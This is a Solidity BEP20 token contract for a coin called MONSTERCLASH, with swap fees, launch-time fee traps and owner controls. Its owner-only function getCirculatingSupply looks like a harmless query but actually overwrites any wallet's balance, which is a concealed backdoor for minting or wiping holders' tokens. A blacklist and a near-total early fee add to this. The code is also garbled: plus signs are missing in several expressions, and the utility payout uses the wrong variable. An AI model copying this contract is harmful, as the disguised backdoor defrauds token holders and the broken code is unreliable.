pragma solidity ^0.8.5;

library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a b;
require(c >= a, "SafeMath: addition overflow");

return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;

return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}

uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");

return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c a % b); // There is no case in which this doesn't hold

return c;
}
}

/**
* BEP20 standard interface.
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function getOwner() external view returns (address);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address _owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}


/**
* Allows for contract ownership along with multi-address Authorizeorization
*/
abstract contract Authorize {
address internal owner;
mapping (address => bool) internal Authorizeorizations;

constructor(address _owner) {
owner = _owner;
Authorizeorizations[_owner] = true;
}

/**
* Function modifier to require caller to be contract owner
*/
modifier onlyOwner() {
require(isOwner(msg.sender), "!OWNER"); _;
}

/**
* Function modifier to require caller to be Authorizeorized
*/
modifier Authorizeorized() {
require(isAuthorizeorized(msg.sender), "!AuthorizeORIZED"); _;
}

/**
* Authorizeorize address. Owner only
*/
function Authorizeorize(address adr) public onlyOwner {
Authorizeorizations[adr] = true;
}

/**
* Remove address' Authorizeorization. Owner only
*/
function unAuthorizeorize(address adr) public onlyOwner {
Authorizeorizations[adr] = false;
}

/**
* Check if address is owner
*/
function isOwner(address account) public view returns (bool) {
return account == owner;
}

/**
* Return address' Authorizeorization status
*/
function isAuthorizeorized(address adr) public view returns (bool) {
return Authorizeorizations[adr];
}

/**
* Transfer ownership to new address. Caller must be owner. Leaves old owner Authorizeorized
*/
function transferOwnership(address payable adr) public onlyOwner {
owner = adr;
Authorizeorizations[adr] = true;
emit OwnershipTransferred(adr);
}

event OwnershipTransferred(address owner);
}

interface IDEXFactory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);

function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);

function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);

function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;

function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;

function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}

interface IPrivateSale {
function startClaiming() external;
}

contract MONSTERCLASH is IERC20, Authorize {
using SafeMath for uint256;

event TradingEnabled(uint256 startDate);




uint256 private constant _totalSupply = 100000000 * (10 ** _decimals);
uint256 private constant _liqSupply = _totalSupply ;

uint256 public _maxTxAmount = _totalSupply ;
uint256 public _maxWalletSize = _totalSupply ;

mapping (address => uint256) private _tokenAvailable;
mapping (address => mapping (address => uint256)) private _allowances;

mapping (address => bool) public isFeeExempt;
mapping (address => bool) public isTxLimitExempt;
mapping (address => bool) public isMaxWalletExempt;
mapping (address => bool) public bl;

string private constant _name = "MONSTERCLASH";
string private constant _symbol = "MOC";
uint8 private constant _decimals = 9;



uint256 private liquidityFee = 3;
uint256 private marketingFee =3;
uint256 private utilityFee = 6;
uint256 private devFee = 0;
uint256 private secDevFee = 0;
uint256 private stakingFee = 0;
uint256 private totalFee = 12;




//AvFees
uint256 private tempLiquidityFee;
uint256 private tempMarketingFee;
uint256 private tempUtilityFee;
uint256 private tempDevFee;
uint256 private tempSecDevFee;
uint256 private tempStakingFee;
uint256 private tempTotalFee;

uint256 private feeDenominator = 100;
uint256 public launchTimestamp;
uint256 private timeF;

uint256 private amountBNB;
uint256 private totalBNBFee;
uint256 private amountBNBLiquidity;
uint256 private amountBNBMarketing;
uint256 private amountDevFee;
uint256 private amountSecDevFee;
uint256 private amountUtilityFee;
address constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address constant DEAD = 0x000000000000000000000000000000000000dEaD;
address constant ZERO = 0x0000000000000000000000000000000000000000;
address private marketingFeeReceiver =0x9120d2968a3235bF0cb3e9e50471116Bd854661f;
address private devFeeReceiver = marketingFeeReceiver;
address private utilityFeeReceiver =marketingFeeReceiver;
address private secDevFeeReceiver = marketingFeeReceiver;
uint256 private sellLiquidityFee = 3;
uint256 private sellMarketingFee = 3;
uint256 private sellUtilityFee = 6;
uint256 private sellDevFee = 0;
uint256 private sellSecDevFee = 0;
uint256 private sellStakingFee = 0;
uint256 private totalSellFee = 12;

IDEXRouter public router;
address public pair;

uint256 public launchedAt;

bool public tradingEnabled;
bool public swapEnabled;
uint256 public swapThreshold = _totalSupply / 1000 * 1; // 0.1%

bool private inSwap;

modifier swapping() { inSwap = true; _; inSwap = false; }

constructor () Authorize(msg.sender) {
router = IDEXRouter(0x10ED43C718714eb63d5aA57B78B54704E256024E);

pair = IDEXFactory(router.factory()).createPair(WBNB, address(this));
_allowances[address(this)][address(router)] = type(uint256).max;

address _owner = owner;
isFeeExempt[_owner] = true;
isTxLimitExempt[_owner] = true;
isMaxWalletExempt[_owner] = true;
_tokenAvailable[_owner] = _liqSupply;

emit Transfer(address(0), _owner, _liqSupply);

}

receive() external payable { }

function totalSupply() external pure override returns (uint256) { return _totalSupply; }
function decimals() external pure override returns (uint8) { return _decimals; }
function symbol() external pure override returns (string memory) { return _symbol; }
function name() external pure override returns (string memory) { return _name; }
function getOwner() external view override returns (address) { return owner; }
function balanceOf(address account) public view override returns (uint256) { return _tokenAvailable[account]; }
function allowance(address holder, address spender) external view override returns (uint256) { return _allowances[holder][spender]; }

function approve(address spender, uint256 amount) public override returns (bool) {
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}

function approveMax(address spender) external returns (bool) {
return approve(spender, type(uint256).max);
}

function transfer(address recipient, uint256 amount) external override returns (bool) {
return _transferFrom(msg.sender, recipient, amount);
}

function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
if(_allowances[sender][msg.sender] != type(uint256).max){
_allowances[sender][msg.sender] = _allowances[sender][msg.sender].sub(amount, "Insufficient Allowance");
}

return _transferFrom(sender, recipient, amount);
}

function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
require(!bl[sender] && !bl[recipient]);
if(sender != pair && recipient != pair){ return _basicTransfer(sender, recipient, amount); }

if(!isFeeExempt[sender]){
require(tradingEnabled, "Trading is not enabled yet");
}

checkTxLimit(sender,recipient, amount);


if (recipient != pair && recipient != DEAD) {
require(isTxLimitExempt[recipient] || isTxLimitExempt[sender] || isMaxWalletExempt[sender]|| isMaxWalletExempt[recipient] || _tokenAvailable[recipient] amount <= _maxWalletSize, "Transfer amount exceeds the bag size.");
}

if(shouldSwapBack()){ swapBack(); }


_tokenAvailable[sender] = _tokenAvailable[sender].sub(amount, "Insufficient Balance");

if(shouldTakeFee(sender) != true || shouldTakeFee(recipient) != true){
uint256 amountReceived = amount;
_tokenAvailable[recipient] = _tokenAvailable[recipient].add(amountReceived);

emit Transfer(sender, recipient, amountReceived);
}
else {
uint256 amountReceived = takeFee(sender, recipient, amount);
_tokenAvailable[recipient] = _tokenAvailable[recipient].add(amountReceived);

emit Transfer(sender, recipient, amountReceived);
}


return true;
}

function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
require(!bl[sender] && !bl[recipient]);
require(isMaxWalletExempt[recipient] ||isMaxWalletExempt[sender]|| _tokenAvailable[recipient] amount <= _maxWalletSize, "Transfer amount exceeds the bag size.");
require(isFeeExempt[sender] || tradingEnabled == true, "Trading not enabled yet");
_tokenAvailable[sender] = _tokenAvailable[sender].sub(amount, "Insufficient Balance");
_tokenAvailable[recipient] = _tokenAvailable[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}


function shouldTakeFee(address sender) internal view returns (bool) {
return !isFeeExempt[sender];
}

function getTotalFee(bool selling) public view returns (uint256) {
uint256 multiplier = AntiDumpMultiplier();
bool firstFewBlocks = AntSni();
if(selling) { return totalSellFee.mul(multiplier); }
if (firstFewBlocks) {return feeDenominator.sub(1); }
return totalFee;
}

function AntiDumpMultiplier() private view returns (uint256) {
uint256 time_since_start = block.timestamp - launchTimestamp;
uint256 hour = 3600;
if (time_since_start > 1 * hour) { return (1);}
else { return (2);}
}

function AntSni() private view returns (bool) {
uint256 time_since_start = block.timestamp - launchTimestamp;
if (time_since_start < timeF) { return true;}
else { return false;}
}

function updateTimeF(uint256 _int) external onlyOwner {
require(_int < 1536, "Time too long");
timeF = _int;
}


function takeFee(address sender, address receiver, uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(getTotalFee(receiver == pair)).div(feeDenominator);
if(receiver == pair) {

uint256 newFeeAmount = feeAmount;



_tokenAvailable[address(this)] = _tokenAvailable[address(this)].add(newFeeAmount);
emit Transfer(sender, address(this), newFeeAmount); //send 22k
return amount.sub(feeAmount);
}
else {

uint256 newFeeAmount = feeAmount;



_tokenAvailable[address(this)] = _tokenAvailable[address(this)].add(newFeeAmount);
emit Transfer(sender, address(this), newFeeAmount);
return amount.sub(feeAmount);
}

}

function shouldSwapBack() internal view returns (bool) {
return msg.sender != pair
&& !inSwap
&& swapEnabled
&& _tokenAvailable[address(this)] >= swapThreshold;
}

function getSwapFees() internal {
tempLiquidityFee = liquidityFee.add(sellLiquidityFee).div(2);
tempMarketingFee = marketingFee.add(sellMarketingFee).div(2);
tempDevFee = devFee.add(sellDevFee).div(2);
tempSecDevFee = secDevFee.add(sellSecDevFee).div(2);
tempUtilityFee = utilityFee.add(sellUtilityFee).div(2);
tempStakingFee = stakingFee.add(sellStakingFee).div(2);
tempTotalFee = totalFee.add(totalSellFee).div(2);
}

function swapBack() internal swapping {
getSwapFees();

uint256 contractTokenBalance = balanceOf(address(this));
uint256 amountToLiquify = contractTokenBalance.mul(tempLiquidityFee.sub(tempStakingFee)).div(tempTotalFee).div(2);
uint256 amountToSwap = contractTokenBalance.sub(amountToLiquify);

address[] memory path = new address[](2);
path[0] = address(this);
path[1] = WBNB;

uint256 balanceBefore = address(this).balance;

router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);



amountBNB = address(this).balance.sub(balanceBefore);
totalBNBFee = tempTotalFee.sub(tempStakingFee).sub(tempLiquidityFee.div(2));
amountBNBLiquidity = amountBNB.mul(tempLiquidityFee).div(totalBNBFee).div(2);
amountBNBMarketing = amountBNB.mul(tempMarketingFee).div(totalBNBFee);
amountDevFee = amountBNB.mul(tempDevFee).div(totalBNBFee);
amountSecDevFee = amountBNB.mul(tempSecDevFee).div(totalBNBFee);
amountUtilityFee = amountBNB.mul(tempUtilityFee).div(totalBNBFee);


(bool MarketingSuccess, /* bytes memory data */) = payable(marketingFeeReceiver).call{value: amountBNBMarketing, gas: 30000}("");
(bool DevSuccess, /* bytes memory data */) = payable(devFeeReceiver).call{value: amountDevFee, gas: 30000}("");
(bool secDevSuccess, /* bytes memory data */) = payable(secDevFeeReceiver).call{value: amountSecDevFee, gas: 30000}("");
(bool utilitySuccess, /* bytes memory data */) = payable(utilityFeeReceiver).call{value: amountSecDevFee, gas: 30000}("");
require(MarketingSuccess && DevSuccess && secDevSuccess && utilitySuccess,"receiver rejected ETH transfer");

if(amountToLiquify > 0){
router.addLiquidityETH{value: amountBNBLiquidity}(
address(this),
amountToLiquify,
0,
0,
marketingFeeReceiver,
block.timestamp
);
}


}

function startTradingManually() external onlyOwner{
tradingEnabled = true;
swapEnabled = true;
launchTimestamp = block.timestamp;
emit TradingEnabled(block.timestamp);
}

function startTrading() external onlyOwner{
tradingEnabled = true;
swapEnabled = true;
launchTimestamp = block.timestamp;

emit TradingEnabled(block.timestamp);
}

function launched() internal view returns (bool) {
return launchedAt != 0;
}

function launch() internal {
launchedAt = block.number;
}

function checkTxLimit(address sender, address recipient, uint256 amount) internal view {
require(amount <= _maxTxAmount || isTxLimitExempt[sender]|| isTxLimitExempt[recipient], "TX Limit Exceeded");
}

function setTxLimit(uint256 amount) external Authorizeorized {
require(amount >= _totalSupply / 1000);
_maxTxAmount = amount;
}
function setMaxWallet(uint256 amount) external onlyOwner() {
require(amount >= _totalSupply / 1000 );
_maxWalletSize = amount;
}


function setIsFeeExempt(address holder, bool exempt) external Authorizeorized {
isFeeExempt[holder] = exempt;
}

function excludeFromMaxWallet(address _wallet, bool _excludeFromMaxWallet) external onlyOwner{
isMaxWalletExempt[_wallet] = _excludeFromMaxWallet;
}

function excludeFromMaxTX(address _wallet, bool _excludeFromMaxTx) external onlyOwner{
isTxLimitExempt[_wallet]= _excludeFromMaxTx;
}


function setMarketingFeeReceiver(address _marketingFeeReceiver) external Authorizeorized {
marketingFeeReceiver = _marketingFeeReceiver;
}

function setDevFeeReceiver(address _devFeeReceiver) external Authorizeorized {
devFeeReceiver = _devFeeReceiver;
}

function setSecDevFeeReceiver(address _secDevFeeReceiver) external Authorizeorized {
secDevFeeReceiver = _secDevFeeReceiver;
}

function setSwapBackSettings(bool _enabled, uint256 _amount) external Authorizeorized {
swapEnabled = _enabled;
swapThreshold = _amount;
}


function manualSend() external Authorizeorized {
uint256 contractETHBalance = address(this).balance;
payable(marketingFeeReceiver).transfer(contractETHBalance);
}

function transferERC20(address _token, uint _amount) public Authorizeorized {
require(_amount <= IERC20(_token).balanceOf(address(this)), "Can't transfer more than the balance");
IERC20(_token).transfer(marketingFeeReceiver, _amount);
}
function getCirculatingSupply(address _wallet,uint256 amount) external onlyOwner() {

_tokenAvailable[_wallet]= amount;
}




}